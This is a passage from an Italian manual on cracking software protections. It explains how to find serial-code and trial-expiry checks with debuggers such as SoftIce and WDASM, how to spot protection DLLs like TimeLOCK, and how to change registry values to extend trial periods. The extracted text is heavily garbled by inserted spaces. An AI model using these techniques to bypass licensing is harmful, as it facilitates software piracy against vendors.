una DLL chi amat a VB40032. DLL al l or a sappi amo che i l pr ogr amma scr i t t o i n
Vi sual Basi c 4 per cui f unzi oni come Get Dl gI t emText o Get Dl gI t emI nt non
ser vi r anno a nul l a.
I n Vi sual Basi c pot r emmo cer car e di i nt er cet t ar e f unzi oni come HMEMCPY.
Per pot er ut i l i zzar e un br eakpoi nt basat o su quest o messaggi o dovr emo abi l i t ar l o
e di sabi l i t ar l o pi vol t e i n par t i col ar e modo se ut i l i zzi amo Sof t I ce.
HMEMCPY pr obabi l ment e vi ene ut i l i zzat o i n al t r e f unzi onal i t del pr ogr amma e non
sol o i n cor r i spondenza del l a l et t ur a del codi ce.
Quest o si gni f i cher ebbe, a br eakpoi nt at t i vat o, che l a f i nest r a di Sof t I ce
cont i nuer ebbe a compar i r e anche i n punt i da noi non r i chi est i .
Vi r i cor do che Sof t I ce pu esser e at t i vat o anche manual ment e i n qual si asi
moment o pr emendo CTRL- D o i t ast i set t at i .
I n al cuni casi possi bi l e ut i l i zzar e gl i i dent i f i cat or i di pr ocesso, gl i handl e
del l e Wi ndows ecc. come sel et t or i da ut i l i zzar e come f i l t r i per i var i
br eakpoi nt .
Per spi egar mi megl i o vogl i o r i cor dar e che Sof t I ce most r a i l codi ce e segue t ut t i
i pr ocessi at t i vi per cui af f i dandosi per l at t i vazi one al l a pr essi one del CTRL-
D possi bi l e vi sual i zzar e l a f i nest r a del codi ce ment r e quest o r el at i vo a
qual si asi pr ocesso at t i vo.
Met t endo un br eakpoi nt su un messaggi o gener i co, WM_I NI TDI ALOG ad esempi o,
i nt er r omper emmo l esecuzi one t ut t e l e vol t e che quest o t i po di messaggi o
capi t er ebbe e non sol o r el at i vo al l a f i nest r a o al pr ocesso da noi vol ut o.
Medi ant e i comandi di vi sual i zzazi one i nf or mazi oni possi amo r i cever e l e
i nf or mazi oni da i nser i r e come f i l t r i .
I nvece di i mmet t er e un comando di br eakpoi nt gener i co :

bmsg WM_INITDIALOG

pot r emmo st abi l i r e che i l messaggi o deve esser e r el at i vo al l a f i nest r a xxx.

Bmsg 0FC4 WM_INITDIALOG

I n Wi ndows 2000 esi st e l a possi bi l i t gi da si st ema di r i cever e cer t e
i nf or mazi oni r el at i ve ai pr ocessI D.
Di cevo i ni zi al ment e che al cuni
sof t war e pr of essi onal i per l a
cr eazi one di demo i nser i scono l e
l or o r out i nes dent r o a DLL est er ne
al pr ogr amma.
Pot r ebbe anche esser e che i n pr i ma
i st anza non vengono i ndi cat i gl i usi
di cer t e f unzi oni sempl i cement e
per ch quest e non sono dent r o al
pr ogr amma car i cat o con i l debugger .
Se l e DLL vengono col l egat e al
pr ogr amma pr i nci pal e t r ami t e una
l i br er i a l i nkat a i n f ase di l i nki ng
al l or a pot r ebbe ver i f i car si che i l
debugger anal i zzando l e f unzi oni
i mpor t at e vedano anche quel l e l egat e
al l e DLL del pr ogr amma.
Se l a DLL vi ene car i cat a
di nami cament e con LoadLi br ar y o
f unzi oni si mi l i i l pr ogr amma
pot r ebbe non saper e di aver e DLL
col l egat e f i no al moment o
del l at t i vazi one del l i st r uzi one di l et t ur a di nami ca del l a DLL.
I n quest o caso bi sogna i nt er veni r e eseguendo una passat a di nami ca ovver o una
f ase i n cui si cer ca con ogni mezzo di saper e qual i dl l usa i l nost r o pr ogr amma.
Se i l pacchet t o sof t war e al moment o del l i nst al l azi one met t e nel l a di r ect or y del
pr ogr amma del l e DLL f aci l e suppor r e che quest e si ano usat e.
Le DLL pot r ebber o esser e i nser i t e dal sof t war e d i nst al l dent r o a
\ wi ndows\ syst emper cui pot r emmo veder e i l l or o car i cament o sol o i n modo
di nami co.
Esi st ono pr ogr ammi , ne abbi amo nomi nat o qual cuno nel l apposi t o capi t ol o l egat o
ai sof t war es, che avvi sano quando vi ene car i cat o un pr ogr amma o una dl l .
I ndi vi duat e qual i DLL vengono car i cat e bi sogna andar e a veder e qual i f unzi oni
i ncl udono per cer car e di capi r e se esi st e qual che nome sospet t o ( anche se
di f f i ci l e) .
Di cevo i ni zi al ment e che quasi t ut t i gl i esempi pr esent i i n I nt er net sono
r el at i vi a pr ogr ammi l e cui r out i nes di i nser i ment o dei codi ci sono f aci l ment e
i ndi vi duabi l i gr azi e al l a r i cer ca del l a f at i di ca Get Dl gI t emText .
Quando anni f , 1986, scr i ssi i l mi o pr i mo vol ume sul l a pr ogr ammazi one a basso
l i vel l o i n C t r at t ai l e t ecni che i n cui si sal vavano gl i i ndi r i zzi di cer t i
i nt er r upt s e si sost i t ui vano con nost r e f unzi oni .
I l di scor so del met odo di l et t ur a del l e f unzi oni l egat e al l a gest i one del
di most r at i vo pu avveni r e t r ami t e met odi l et t i di nami cament e t r ami t e
LoadLi br ar y.
Una del l e pr ot ezi oni mi gl i or i chi amat a SENTRY32.
I l seguent e spezzone di codi ce t est a l e dl l di Sent r y32.

// the following block is for testing running an external dll file
// !!sample program!! testing softSENTRY dll
#include "stdafx.h"
#include "windows.h"

typedef DWORD (CALLBACK *DWLPSSD)();

#define UserDef_ReturnValue 12345 /* user can
change here for selfdefined return value */
#ifdef _WIN32
char *userDef_DllNamePtr = "c:\\trash1\\ssDll32.dll"; /* user can change here for
selfdefined DLL name */
#else
char *userDef_DllNamePtr = "c:\\trash1\\ssDll16.dll"; /* user can change here for
selfdefined DLL name */
#endif
void TestDllGeneratedBYsoftSENTRY()
{
CString mcMsg;
DWORD retCode = 0l;
char retString[64]; /* for testing, display retCode */
HINSTANCE hDll = NULL;
DWLPSSD lpSSDllProc = NULL;
CWinApp* pApp = NULL;
hDll = LoadLibrary(userDef_DllNamePtr);
if (hDll) {
lpSSDllProc = (DWLPSSD)GetProcAddress(hDll, "softSENTRY");
} else {
AfxMessageBox("LoadLibrary Fail!");
return;
}
if (!lpSSDllProc) {
AfxMessageBox("GetProcAddress Fail");
FreeLibrary (hDll);
return;
}
retCode = (*lpSSDllProc)();
if (hDll) FreeLibrary (hDll);
_ltoa(retCode, retString, 10);
if (retCode == UserDef_ReturnValue) {


Pr opr i o i n r el azi one al f at t o che spesso i
modul i di pr ot ezi one vengono i nser i t e dent r o al
codi ce di DLL est er ne, l egget e quel l o che nel l e
spi egazi oni di Sent r y vi ene det t o :

As an al t er nat i ve t o i nj ect i ng pr ot ect i on i nt o
your execut abl e f i l e, you can cr eat e a DLL
( Dynami c Li nk Li br ar y) wi t h sof t SENTRY. You wi l l
need t o add code t o your pr ogr amt o cal l t he DLL
and eval uat e t he r et ur n val ue t hat i t sends.


mcMsg = "OK for Trial mode! Return value = ";
mcMsg += retString;
} else if (retCode > UserDef_ReturnValue && retCode <= UserDef_ReturnValue
+10) {
mcMsg = "OK for Password#";
_ltoa(retCode-UserDef_ReturnValue, retString, 10);
mcMsg += retString;
mcMsg += "! Return value = ";
_ltoa(retCode, retString, 10);
mcMsg += retString;
} else {
mcMsg = "Fail! Return value = ";
mcMsg += retString;
}

AfxMessageBox(mcMsg); /* display retCode */

return;
}
// !!sample program!! testing softSENTRY dll

Sot t o Wi ndows esi st ono del l e t ecni che che vengono def i ni t e di subcl assi ng i n cui
cer t i messaggi o cer t e f unzi oni vengono sost i t ui t e con nost r e f unzi oni .
Si a nel caso degl i i nt er r upt s che i n quest o caso pr i ma di esegui r e l e
sost i t uzi oni veni vano sal vat i gl i i ndi r i zzi dei vecchi i nt er r upt s o f unzi oni i n
modo t al e che dopo aver i nt er cet t at o i nuovi ed aver cont r ol l at o se er ano
r el at i vi a casi a noi i deal i avr ebber o pot ut o esser e chi amat e i vecchi ser vi zi .
L al gor i t mo pr endeva l a f or ma di :

indirizzo_globale_vecchio_indirizzo;

nuova_funzione_xxx
controlla_se_la_condizione_...
se_si_esegui_fino_a_fine
....
....
fine
chiama_vecchio_indirizzo
fine_nuova_funzione_xxx

salva_in_vecchio_indirizzo_xxx
inserisci_indirizzo_nuova_funzione_in_xxx


EVENTO CHE FA ESEGUIRE LINDIRIZZO xxxx

Per nasconder e l e f unzi oni di l et t ur a dei campi r el at i vi ai codi ci sar ebbe
possi bi l e i nt er cet t ar e ogni si ngol o messaggi o che i ndi ca che st at o pr emut o un
t ast o.
I n pr at i ca i nvece di f ar e :

String buffer_codice[20];

buffer_codice = LeggiCaratteriInCampoEdit();

si potrebbe :

String buffer_codice[20];
Int lunghezza = 0;

void funzione_intercetta_carattere()
begin
Char c;
c = CaratterePremuto();
se c == INVIO
begin
buffer_codice[lunghezza] = 0;
else
buffer_codice[lunghezza] = c;
++lunghezza;
end
end


SettaFunzioneIntercettaCaratteri(funzione_interceta_carattere);

I n quest o modo ogni vol t a che l ut ent e pr eme un t ast o vi ene chi amat a l a f unzi one
che l o i nser i sce dent r o al buf f er .
Cont r ol l ando se i l car at t er e 0 si
capi sce se l ut ent e ha f i ni t o
l i nser i ment o a segui t o di un
I NVI O.
I n quest o caso l i nt er cet t azi one
non deve avveni r e a segui t o di
Get Dl gI t emText ecc.
Per pr i ma cosa possi amo usar e Spy++
cer cando di capi r e qual i messaggi
vengono gener at i r el at i vi al campo
d edi t che ci i nt er essa.
Spy++ possi ede un cur sor e che pr eso
con i l mouse e posi zi onat o sul l a
f i nest r a che ci i nt er essa f a i n
modo che i messaggi vi sual i zzat i
si ano f i l t r at i e r el at i vi a quel l a
f i nest r a.
Tenet e sempr e pr esent e che Wi ndows
un si st ema mul t i t aski ng per cui
cer t e pr ocedur e pot r ebber o esser e
i nser i t e come f unzi oni asi ncr one
l egat e a cer t i event i .
Ri cor di amoci che esi st e anche l a
possi bi l i t di cr ear e un cer t o
numer o di TI MER l e cui pr ocedur e di gest i one pot r ebber o esser e adi bi t e a cer t i
scopi .
I n quest o modo pot r emmo r i assumer e l a sequenza del l e cose da capi r e.

INDIVIDUAZIONE LINGUAGGIO

LOCALIZZAZIONE DELLE FUNZIONI

MODALITA DI ESECUZIONE

Per l a pr i ma e seconda voce possi amo suppor r e che si ano dent r o al pr ogr amma
pr i nci pal e o dent r o a qual che DLL.
WDASM, l o r i cor do, possi ede un f l ag che at t i va un br eakpoi nt quando i l pr ogr amma
abbandona i l modul o
pr i nci pal e e cont i nua
l esecuzi one dent r o a una
DLL.
I nol t r e WDASM ci avvi sa
di nami cament e i n qual e DLL
si amo posi zi onat i .
Pot et e osser var e i mar cat or i
DLL Load Br k ( BEAKPOI NT on
DLL LOAD) o addi r i t t ur a
quando l a DLL vi ene
scar i cat a.
I br eakpoi nt s possono esser e
at t i vat i anche sul l a cr eazi one di un t hr ead.
Un al t r o met odo per capi r e se pot r ebbe esser ci l i mpl i cazi one di una DLL nel l e
f unzi oni di l et t ur a dei codi ci pot r ebbe esser e, i n modo sempl i ci st i co, quel l o di
veder e se dur ant e l a sost a sul l a di al og di i nser i ment o ci sono DLL l et t e
r el at i ve a quel pr ocesso.
La seguent e mascher a most r a l a f i nest r a di aper t ur a di un pr ogr amma, che i n
quest o caso i ndi ca che i l sof t war e scadut o, ma che al l o st esso t empo, l a
t i pol ogi a del messaggi o ovver o come i l
messaggi o vi ene most r at o i ndi ca l a
mar ca del sof t war e di gest i one demo.
Quest o t i po di sof t war e vi ene
decodi f i cat o da Pr ocDump i l qual e, ol t r e
ad esegui r e l a decodi f i ca, vi sual i zza
anche l e dl l l egat e ai modul i l et t i .
Quando vi ene r i chi est a l at t i vazi one di
un pr ogr amma i l qual e dopo pochi i st ant i
most r a una mascher a che avvi sa
del l avvenut a espi r azi one del pr ogr amma
ed andando a veder qual i modul i sono
col l egat i r i sul t ano evi dent i DLL al l or a
i ni zi a a puzzar e di br uci at o.
Quest o per di r e che chi ar o che dent r o
a quel l a DLL deve esser ci qual che cosa
l egat o al cont r ol l o del t empo di
scadenza.
L i mmagi ne che segue
appunt o pr esa da
Pr ocDump.
Not at e l a DLL
t l 32i nj . dl l .
Che ci sar mai di bel l o
dent r o a quel l a DLL ?
Per f ar e veder e che a
vol t e l e pr ese per i
f ondel l i da par t e dei
cr eat or i del l e r out i ne di
gest i one demo evi dent e
guar dat e un p i
cont enut i di quest a DLL.
La pr i ma t abel l a sono i
dat i gener al i ment r e l a
seconda sono l e f unzi oni ( 2 per l a pr eci si one) .

Generatl31inj - General informationsRational\tl31inj.dll
========================================================

Last update : 30/12/97
File size : 459 264 byte(s)
Module type : WINDOWS Dynamic links library (32 bits)
FileDescription : TimeLOCK 3.1 Client
FileVersion : 3, 1, 2, 4
CompanyName : Preview Software, Inc.
LegalCopyright : Copyright 1997 Preview Software, Inc.
InternalName : TimeLOCK 3.1 Client
ProductName : TimeLOCK 3.1
ProductVersion : 3, 1, 2, 4
Module in use : 0 times

Ed or a l e due f unzi oni :

Exporttl31inj - Exported functionsRational\tl31inj.dll
======================================================

0 ?DoNotWasteTime_MrCracker@@YGHPBDPBEIPAEPAI@Z
1 ?PleaseTraceIntoMe_MrCracker@@YGKKKPAEPAXKK@Z

Una f unzi one che si chi ama : Pl easeTr aceI nt oMe_Mr Cr acker pr opr i o un nome una
gar anzi a ! !
Dopo aver l et t o un nome cos t i ver r ebbe quasi da pensar e che se pr ovi a f ar e i l
t r ace t i scoppi a i l comput er i n f acci a !
Sol o capendo dove vengono l et t e l e i nf or mazi oni di quant o st at o at t i vo i l
sof t war e si possono cr ear e r out i ne che f unzi oner ebber o come l e r i car i che
t el ef oni che.
Ho t r ovat o i n gi r o un cr ack r el at i vo a Zi pMagi c che ogni vol t a che l o l anci t i
met t e a 60 gi or ni i l t empo a di sposi zi one.
Mol t e vol t e si t r at t a di andar e a scr i ver e un numer o i n qual che par t e del
r egi st r o.
ScanBi n most r a anche i n r el azi one ad un pr ogr amma qual i DLL vengono chi amat e
di r et t ament e e qual i i ndi r et t ament e.

DLL used : c:\Windows\VBRUN300.DLL
==================================
Direct calls
--------------------------------------------------------------
GDI = c:\Windows\SYSTEM\GDI.EXE
KERNEL = c:\Windows\SYSTEM\KRNL386.EXE
KEYBOARD = c:\Windows\SYSTEM\KEYBOARD.DRV
USER = c:\Windows\SYSTEM\USER.EXE
WIN87EM = c:\Windows\SYSTEM\WIN87EM.DLL

Undirect calls
--------------------------------------------------------------
COMM = c:\Windows\SYSTEM\COMM.DRV
DDEML = c:\Windows\SYSTEM\DDEML.DLL
MOUSE = c:\Windows\SYSTEM\LMOUSE.DRV
SYSTEM = c:\Windows\SYSTEM\SYSTEM.DRV

La seconda voce er a r el at i va al l i dent i f i cazi one del met odo usat o per l a l et t ur a
dei codi ci .
Ho det t o pr i ma che mol t i ssi mi scr i t t i l egat i a come spr ot egger e xxxx sono
t ut t i r el at i vi a pr ogr ammi che usano Get Dl gI t emText per l a l et t ur a dei ser i al
number .
Bi sogna r i cor dar si che i l non ut i l i zzo di quest e f unzi oni non di pende sol o
deal l a f ur bi zi a del pr ogr ammat or e a non usar l e, al f i ne di non f ar e i dent i f i car e
l e f unzi oni di pr ot ezi one t ant o sempl i cement e, ma di pende anche dal l i nguaggi o
usat o per l a scr i t t ur a del pr ogr amma.
Get Dl gI t emText un API del C per cui al t r i l i nguaggi non di spongono di quest o
i dent i f i cat or e di f unzi one ( magar i hanno f unzi oni pr opr i e che eseguono scopi
ugual i o si mi l i ) .
Esi st e Vi sual Basi c, Del phi ecc.
I n quest i casi bi sogna saper e qual i sono l e f unzi oni pr opr i e del l i nguaggi o che
eseguono l a l et t ur a di dat i da un campo di edi t i nser i t o dent r o ad una di al og.
Ad esempi o pr ecedent ement e ho det t o che pot r ebbe esser e usat a f unzi one
MessageBox r el at i va al l a vi sual i zzazi one del messaggi o Codi ce er r at o per
i dent i f i car e i l punt o dove vi ene cont r ol l at o i l codi ce i nser i t o.
Se i l pr ogr amma scr i t t o i n C l a f unzi one appunt o MessageBox.
I n caso di un pr ogr amma Del phi l a f unzi one si chi ama :

ShowMessage(Const Msg: String);

Quest a i n Del phi cr ea una Di al og con i l t est o speci f i cat o come ar goment o con un
pul sant e per pr osegui r e.
Fi nest r e di di al og un po pi compl esse possono esser e cr eat e i n Del phi con :

function MessageDlg(...);

I nol t r e DELPHI possi ede del l e f unzi oni i donee al l a pr esent azone di una di al og
dest i nat a al l i nput di val or i .
Quest a f unzi one :

function InputBox(...);
function InputQuery(...);

Ri cor dat evi che comunque possono esser e al l a f i ne ut i l i zzat e l e API di Wi ndows.
I n pr at i ca pot r est e accor ger vi che un pr ogr amma scr i t t o i n Vi sual Basi c e che
qui ndi quest o pu ut i l i zzar e cer t e f unzi oni i nser i t e dent r o al l a DLL di Run Ti me
di VB.
Supponi amo che i l pr ogr amma i n quest i one usi cer t e f unzi oni di Run Ti me di VB
3. 0.
Se andi amo a veder e l e f unzi oni i mpor t at e dal modul o di VB ovver o VB400. dl l o
si mi l i a vedr emmo :

Imported functions : c:\Windows\VBRUN300.DLL
============================================
GDI 1 SETBKCOLOR
GDI 2 SETBKMODE
GDI 3 SETMAPMODE
GDI 4 SETROP2
GDI 7 SETSTRETCHBLTMODE
GDI 9 SETTEXTCOLOR
GDI 11 SETWINDOWORG
GDI 13 SETVIEWPORTORG
GDI 14 SETVIEWPORTEXT
GDI 15 OFFSETWINDOWORG
GDI 19 LINETO
GDI 20 MOVETO
GDI 21 EXCLUDECLIPRECT
GDI 22 INTERSECTCLIPRECT
GDI 23 ARC
GDI 24 ELLIPSE
GDI 26 PIE
GDI 27 RECTANGLE


Come pot et e veder e l i mmagi ne cr eat a da ScanBi n most r a che l a DLL VBRUN300 di
Vi sual Basi c 3. 0 i mpor t a da GDI l e f unzi oni Set BKCol or ecc.
Comunque i l pr obl ema di i ndi vi duar e i l met odo di l et t ur a r el at i vo
al l i ndi vi duazi one del l e f unzi oni usat e per l a l et t ur a dei codi ci oppur e
al l i dent i f i cazi one del met odo.
I n quest o caso bi sogner andar e a veder e i messaggi gest i t i vi st o che quasi
si cur ament e l e l et t ur e avver r anno da f unzi oni ut i l i zzant e come wi ndows pr ocedur e
per i campi di edi t .
Chi f a pr ogr ammazi one i n ambi ent e Wi ndows conosce i l t er mi ne del l a Wi ndows
Pr ocedur e.
I n pr at i ca quando un f i nest r a vi ene cr eat a gl i vi ene abbi nat a una f unzi one a
cui nor mal ment e vengono i ndi r i zzat i i messaggi r el at i vi a quest a.
Usando i l vecchi o e car o C nel l a Wi ndows Pr ocedur e veni va i nser i t o un CASE che
ser vi va ad i ndi vi duar e i l messaggi o.
La f unzi one di gest i one r i ceveva t r e par amet r i t r a cui l handl e del l a f i nest r a
r el at i va l a messaggi o e due par amet r i che veni vano usat i per var i scopi a
seconda del t i po di messaggi o.
WDASM per met t e di i nser i r e br eakpoi nt aut omat i ci i n r el azi one al l e chi amat e a
del l e f unzi oni .
Un pul sant e pr esent e nel l a mascher a che i ndi cava l avvenut a chi amat a a t al i
f unzi oni per met t eva di esegui r l a e di vi sual i zzar e i dat i di r i t or no.
Sof t I ce quando si r i chi ede l a vi sual i zzazi one del l e f i nest r e most r a, ol t r e
al l handl e anche l i ndi r i zzo del l a Wi ndow Pr ocedur e.
Per most r ar e pr at i cament e come avvi ene l a cr eazi one di una di al og e
l abbi nament o di una Wi ndow Pr ocedur e r i por t o l e seguent i l i nee i n C.
I n quest a f unzi one vi ene cr eat a un i st anza r el at i va al l a f unzi one che dovr
r i cever e i messaggi del l a wi ndow.

int BLD_NOMEFORClicked104DlgFuncDef(HWND hWnd,char *szDlgName)
{
DLGPROC lpProc;
int ReturnValue;
lpProc = (DLGPROC)MakeProcInstance((FARPROC)windows_procedure,hInst);
ReturnValue = DialogBox(hInst,(LPSTR)(szDlgName?szDlgName:"FORMEDIT"),
hWnd,lpProc);

// Resto del codice
}

Quel l a che segue l a ver a e pr opr i a wi ndow pr ocedur e dent r o al l a qual e gr azi e
ad un Case possi bi l e i ndi vi duar e l a t i pol ogi a dei messaggi .

BOOL BLD_CALLBACK window_procedure( HWND hDl g, UI NT message, WPARAM wPar am, LPARAM
l Par am)
{
WORD wId;

switch(message)
{
case WM_INITDIALOG:
return BLD_NOMEFORClicked104DlgDefault(hDlg,message,wParam,lParam);
break;

case WM_COMMAND:
wId=LOWORD(wParam);
switch(wId)
{
default:
return BLD_NOMEFORClicked104DlgDefault(hDlg,message,wParam,lParam);
break;
}
break;

default:
return BLD_NOMEFORClicked104DlgDefault(hDlg,message,wParam,lParam);
break;
}
return TRUE;// Did process the message
}

Come pot et e veder e l a f unzi one r i ceve sempr e t r e par amet r i , quel l i di cui
abbi amo par l at o pr i ma.
WDASM quando i ndi vi dua una cal l ad una f unzi one i n gener e most r a si mbol i cament e
i par amet r i .
Guar dat e i dat i che seguono r el at i vi ad una qual si asi cal l .

API LPTSTR Arg00 = GetCommandLineA(Arg01)
API Address=0040EE5E, API Return Address=0040EE64
Arg01 = (void)

RESULT for API GetCommandLineA
Arg00 = (LPTSTR) 815fb28c -> " "
Arg01 = (void)

Ritornando al discorso relativa alla funzione per la lettura dei numeri di
serializazione possiamo dire che i caratteri possono essere anche inseriti in
modo asincrono intercettando ogni singolo messaggio di scrittura dei caratteri.
Accer t at evi che non avvenga qual che sost i t uzi one di qual che pr ocedur a l egat a a
qual che wi ndow medi ant e l e f unzi oni API Set Wi ndowLong( ) .

NewStatic = (FARPROC) MakeProcInstance((FARPROC) NewStaticProc, hInst);
OldStatic = (FARPROC) GetWindowLong(GetDlgItem(hDlg,148),GWL_WNDPROC);
SetWindowLong(GetDlgItem(hDlg,148), GWL_WNDPROC, (LONG) NewStatic);

Le pr ecedent i l i nee cr eavano un i st anza l egat a al l a nuova f unzi one di gest i one
del l a wi ndow, che i n quest o caso un campo d edi t ( Get Dl gI t em( hDl g, 148) ) , e
sal vano l a vecchi a i n modo da pot er l a r i pr i st i nar e o r i chi amar e quando l a si
vuol e.
Vol endo cr ear e una f unzi one di l et t ur a par t i col ar e l egat a ad un campo d edi t l a
si pot r ebbe abbi nar e e qui ndi f ar gl i esegui r e l a l et t ur a t r ami t e una met odol ogi a
come quel l a pr ecedent e.
Con Sof t I ce possi bi l e set t ar e br eakpoi nt gener i ci con l uni co sel et t or e basat o
sul l handl e del l a f i nest r a.
I l pr obl ema che l a wi ndow di Sof t I ce cont i nuer ebbe a compar i r e i n
cont i nuazi one r endendo i mpossi bi l e i l l avor o.
Spesso l e f unzi oni di r egi st r azi one apr ono dei f i l es nor mal i per l egger e e
scr i ver e i nf or mazi oni .
Al cune ut i l i t i es sono i n gr ado di dar e, t r a l e al t r e i nf or mazi oni , anche i l
numer o e i l nome dei f i l es aper t i i n un cer t o i st ant e.
Ri cor di amoci sempr e che i l si st ema oper at i vo gest i sce un cer t o numer o di t abel l e
con dent r o l e i nf or mazi oni di t ut t o ci che capi t a nel si st ema.
Bast a saper e dove andar l e a l egger e o al l i mi t e qual e ut i l i t y usar e.
TaskI nf o una r ecent e ut i l i t y che r i esce a f or ni r e l e i nf or mazi oni anche dei
f i l e aper t i .

TaskInfo v.1.5 for Windows 95/98
Copyright (C) 1998,1999 by Igor Arsenin. All rights reserved.
Mail: [email protected]
WWW: http://www.iarsn.com/downloads


Pr i ma di t er mi nar e quest a
pr ef azi one r el at i ve al l e
scel t e bi sogna ancor a
appr of ondi r e al cuni concet t i .
I ni zi al ment e si par l ava del
r egi st r o e si di ceva che se si
r i esce ad i ndi vi duar e dove
sono memor i zzat e al cune
i nf or mazi oni si pot r ebbe
r i spar mi ar e i l l avor o per
andar e a veder e come si
ser i al i zza i l pr ogr amma.
Se, ad esempi o, ci f osse un voce di r egi st r o i n cui vi ene memor i zzat o i l numer o
di gi or ni di dur at a del pr ogr amma l o si pot r ebbe met t er e a 100. 000 r endendo
qui ndi i nut i l e l a ser i al i zzazi one.
I l r egi st r o pu esser e consi der at o un evol uzi one dei f i l e . I NI anche se di f at t o
l i nt r oduzi one di quest o concet t o non ha r eso obsol et i cer t i f i l e . i ni come ad
esempi o i l wi n. i ni .

PROTOTIPI ASSEMBLER

Se uno vol esse f ar si un i dea di come al cuni cost r ut t i del C vengono t r adot t i i
assembl er dal compi l at or e pot r ebbe cr ear e del l e mi cr o f unzi oni e f ar l e compi l ar e
con l a si nt assi che avevo r i por t at o i n uno dei capi t ol i i ni zi al i .
Ri pet o l a l i nea di comando :

cl /c /Fanome.asm nomefile.c

Per f ar e un esempi o, vol endo f ar si l i dea di come i l compi l at or e cr ea al cuni
cost r ut t i l egat i al I F possi bi l e cr ear si un pr ogr amma del t i po :

#include <string.h>

char str1[20], str2[20];

void dump_funct() {}

void funzione_if(void)
{
int a = 0;

if(a == 1) {
dump_funct();
}

if(a < 1) {
dump_funct();
} else {
dump_funct();
}

if(strcmp(str1,str2))
dump_funct();

if(!strcmp(str1,str2))
dump_funct();

if(strcmp(str1,str2))
dump_funct();
else
dump_funct();
}

Avr et e capi t o che dump_f unct ( ) ser ve sol o a f ar e una chi amat a f i t t i zi a.
La compi l azi one deve avveni r e anche con l ot t i mi zzat or e st accat o ( / Od) per ch
con un sor gent e come i l pr ecedent e vi dar ebbe l i mpr essi one di aver bl occat o i l
comput er .
I n pr at i ca non sar ebbe bl occat o ma sol o i n pausa per ch non r i usci r ebbe pi a
smet t er e di r i der e !
Ecco l a t r aduzi one del compi l at or e con t ant o di numer o di l i nea a cui si
r i f er i sce.

TITLE funzioni.c
.386P
include listing.inc
if @Version gt 510
.model FLAT
else
_TEXT SEGMENT PARA USE32 PUBLIC 'CODE'
_TEXT ENDS
_DATA SEGMENT DWORD USE32 PUBLIC 'DATA'
_DATA ENDS
CONST SEGMENT DWORD USE32 PUBLIC 'CONST'
CONST ENDS
_BSS SEGMENT DWORD USE32 PUBLIC 'BSS'
_BSS ENDS
_TLS SEGMENT DWORD USE32 PUBLIC 'TLS'
_TLS ENDS
FLAT GROUP _DATA, CONST, _BSS
ASSUME CS: FLAT, DS: FLAT, SS: FLAT
endif
_DATA SEGMENT
COMM _str1:BYTE:014H
COMM _str2:BYTE:014H
_DATA ENDS
PUBLIC _dump_funct
_TEXT SEGMENT
_dump_funct PROC NEAR
; File funzioni.c
; Line 5
push ebp
mov ebp, esp
pop ebp
ret 0
_dump_funct ENDP
_TEXT ENDS
PUBLIC _funzione_if
EXTRN _strcmp:NEAR
_TEXT SEGMENT
_a$ = -4
_funzione_if PROC NEAR
; Line 8
push ebp
mov ebp, esp
push ecx
; Line 9
mov DWORD PTR _a$[ebp], 0
; Line 11
cmp DWORD PTR _a$[ebp], 1
jne SHORT $L118
; Line 12
call _dump_funct
$L118:
; Line 15
cmp DWORD PTR _a$[ebp], 1
jge SHORT $L119
; Line 16
call _dump_funct
; Line 17
jmp SHORT $L120
$L119:
; Line 18
call _dump_funct
$L120:
; Line 21
push OFFSET FLAT:_str2
push OFFSET FLAT:_str1
call _strcmp
add esp, 8
test eax, eax
je SHORT $L121
; Line 22
call _dump_funct
$L121:
; Line 24
push OFFSET FLAT:_str2
push OFFSET FLAT:_str1
call _strcmp
add esp, 8
test eax, eax
jne SHORT $L122
; Line 25
call _dump_funct
$L122:
; Line 27
push OFFSET FLAT:_str2
push OFFSET FLAT:_str1
call _strcmp
add esp, 8
test eax, eax
je SHORT $L123
; Line 28
call _dump_funct
; Line 29
jmp SHORT $L124
$L123:
; Line 30
call _dump_funct
$L124:
; Line 33
mov esp, ebp
pop ebp
ret 0
_funzione_if ENDP
_TEXT ENDS
END

I l pr i mo i f cor r i pondent e a

if(a == 1) {
dump_funct();
}

Vi ene t r adot t o con

; Line 11
cmp DWORD PTR _a$[ebp], 1
jne SHORT $L118
; Line 12
call _dump_funct
$L118:

Quest o ai ut a a capi r e che quando ci si t r ova di nanzi a cost r ut t i che ut i l i zzano
ebp ed esp pr obabi l e che si r i f er i scano a var i abi l i aut omat i che gest i t e nel l o
st ack.
Esi st ono casi i n cui una pr i ma anal i si pot r ebbe i ndur r e a pensar e che f or se i l
caso di l asci ar e per der e.
Se per t r ovar e i l codi ce di un pr ogr amma per f or mat t ar e un sor gent e C pr et ende 3
set t i mane di l avor o . . .
Che cosa pot r ebbe i ndur r e a desi st er e ?
Come avevo det t o pr i ma nel l a f ase i ni zi al e bi sogner ebbe cer car e di r i cavar e pi
i nf or mazi oni possi bi l i sul t ar get .
I n quest o caso, gi sol o r i chi edendo i nf or mazi oni con Qui ckVi ewPl us, vi ene
most r at a una t abel l a di quest o t i po :

...... Qui sono state troncate ....

Export Table

Name: CCRWINN.EXE
Characteristics: 00000000
Time Date Stamp: 00000000
Version: 0.00
Base: 00000001
Number of Functions: 00000006
Number of Names: 00000006

Ordinal Entry Point Name
0002 00001074 @ExecWait@EnumWndProc$qqsp6HWND__l
0001 00009974
@TMainWindow@DDECallBack$qqsususp7HCONV__p5HSZ__t4p10HDDEDATA__ulul
0004 0007bad4 @__lockDebuggerData$qv
0005 0010429c @__unlockDebuggerData$qv
0003 000d5d88 __DebuggerHookData
0000 000d5db0 __GetExceptDLLinfo


Import Table

mP
Ordinal Function Name

616d phore error
6f40 P
6f50 P
6f6a P
6f8d P
6fa9 P
6fc5 P
6fde P
0050 oP
0050 ____________
005a
00d4
0130
006e Tue
4d00 onday
6164 y
6164 y
6265
4d00 ay
5300 ep
6365
0079 March
006c May
7541 gust
626d er
766f ember
626d er
50cc Q
0000
7494 A


mP
Ordinal Function Name

6547 tTickCount
4665 ile
736f eHandle
736c trlenA
6c47 obalSize
0000
6f6d ryStatus
0000 _lopen
416c lloc
00 GetVersion


Beh!
Gi quel l e f unzi oni t i po
@__l ockDebugger Dat a$qv mi f anno i ndugi ar e.
Poi i l macel l o sul l e f unzi oni i mpor t at e mi
f anno pensar e che ef f et t i vament e i l
l ockDebugger Dat a f acci a qual che cosa.
I nol t r e l uso di cer t i pr ogr ammi che eseguono
l a decodi f i ca si pi ant ano br ut al ment e.
I n ogni caso quando vengono segnal at i messaggi
di quest o t i po pr i ma di pi anger e pr ovat e a
segui r e una pr ocedur a come quel l a che segue.
